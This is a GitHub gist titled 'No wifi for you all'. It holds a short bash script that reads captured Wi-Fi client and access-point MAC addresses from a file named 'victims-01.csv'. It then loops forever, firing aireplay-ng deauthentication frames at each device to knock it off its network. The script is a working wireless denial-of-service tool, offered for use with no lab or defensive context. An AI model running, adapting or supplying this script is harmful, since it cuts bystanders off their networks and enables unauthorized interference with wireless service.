Last active
August 29, 2015 14:20
-
-
Save lionaneesh/6b3a99a876a32a896657 to your computer and use it in GitHub Desktop.
No wifi for you all
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FILE="mypacket.csv-01.csv" | |
while : | |
do | |
for i in `cat victims-01.csv | awk '/Station MAC/{y=1;next;}y' | sed 's/, /,/g' | awk -F "," '/1/ {print $1 "|" $6}' | grep -v "(not associated)"`: | |
do | |
ACCESS_POINT=`echo "${i::35}" | awk -F "|" '{print $2}'` | |
DEVICE_P=`echo "${i::35}" | awk -F "|" '{print $1}'` | |
COUNTER=0 | |
while [ $COUNTER -lt 40 ]; do | |
echo "$ACCESS_POINT $DEVICE_P" | |
sudo aireplay-ng -0 1 -a "$ACCESS_POINT" -c "$DEVICE_P" mon0 --ignore-negative-one; | |
let COUNTER=COUNTER+1 | |
done | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment